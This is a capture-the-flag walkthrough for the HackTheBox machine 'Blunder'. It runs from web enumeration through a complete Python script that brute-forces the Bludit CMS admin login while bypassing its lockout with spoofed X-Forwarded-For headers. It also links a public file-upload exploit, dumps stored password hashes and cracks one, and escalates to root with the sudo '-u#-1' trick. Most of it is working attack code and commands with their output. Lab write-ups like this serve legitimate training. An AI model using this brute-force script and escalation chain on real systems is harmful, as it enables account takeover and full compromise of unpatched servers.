WFUZZ

CEWL TO GENERATE WORDLIST USING THE WEBSITE

PYTHON BRUTEFORCE WEBSITE

```
PORT   STATE  SERVICE VERSION

21/tcp closed ftp

80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))

|_http-generator: Blunder

|_http-server-header: Apache/2.4.41 (Ubuntu)

|_http-title: Blunder | A blunder of interesting facts
```

```
root@kali:/home/kali/Desktop/hackthebox/blunder# gobuster dir -u http://blunder.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

http://10.10.10.191/admin/

```
root@kali:/home/kali/Desktop/hackthebox/blunder# wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt --hc 404,403 -u "http://10.10.10.191/FUZZ.txt" -t 100

000003519:   200        1 L      4 W       22 Ch       "robots"

000004125:   200        4 L      23 W      118 Ch      "todo"
```

http://10.10.10.191/todo.txt

```
1-Update the CMS
2-Turn off FTP - DONE
3-Remove old users - DONE
4-Inform fergus that the new blog needs images - PENDING
```

CEWL TO CREATE WORDLIST

```
root@kali:/home/kali/Desktop/hackthebox/blunder# cewl -w wordlists.txt -m 1 http://10.10.10.191/

root@kali:/home/kali/Desktop/hackthebox/blunder# cat bruteforce.py
```

```
import re

import requests

#from __future__ import print_function



def open_ressources(file_path):

    return [item.replace("\n", "") for item in open(file_path).readlines()]



host = 'http://10.10.10.191'
```

```
login_url = host + '/admin/login'
username = 'fergus'
wordlist = open_ressources('/home/kali/Desktop/hackthebox/blunder/wordlists.txt')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break
```

```
root@kali:/home/kali/Desktop/hackthebox/blunder# python bruteforce.py
Use fergus:RolandDeschain to login.
root@kali:/home/kali/Desktop/hackthebox/blunder# searchsploit bludit
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
Bludit - Directory Traversal Image File Upload (Metasploit)                      | php/remote/47699.rb
```

https://github.com/cybervaca/CVE-2019-16113

```
www-data@blunder:/var/www/bludit-3.9.2/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""
    },
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""
    }
}www-data@blunder:/var/www/bludit-3.9.2/bl-content/databases$
root@kali:/home/kali/Desktop/hackthebox/blunder# hashid faca404fd5c0a31cf1897b823c695c85cffeb98d
Analyzing 'faca404fd5c0a31cf1897b823c695c85cffeb98d'
[+] SHA-1
[+] Double SHA-1
[+] RIPEMD-160
[+] Haval-160
[+] Tiger-160
[+] HAS-160
[+] LinkedIn
[+] Skein-256(160)
[+] Skein-512(160)
```

https://sha1.gromweb.com/?hash=faca404fd5c0a31cf1897b823c695c85cffeb98d

Password120

```
}www-data@blunder:/var/www/bludit-3.9.2/bl-content/databases$ su hugo
su hugo
Password: Password120
}www-data@blunder:/var/www/bludit-3.9.2/bl-content/databases$ su hugo
su hugo
Password: Password120
hugo@blunder:/$ sudo -l
sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
hugo@blunder:~$ sudo -u#-1 /bin/bash
```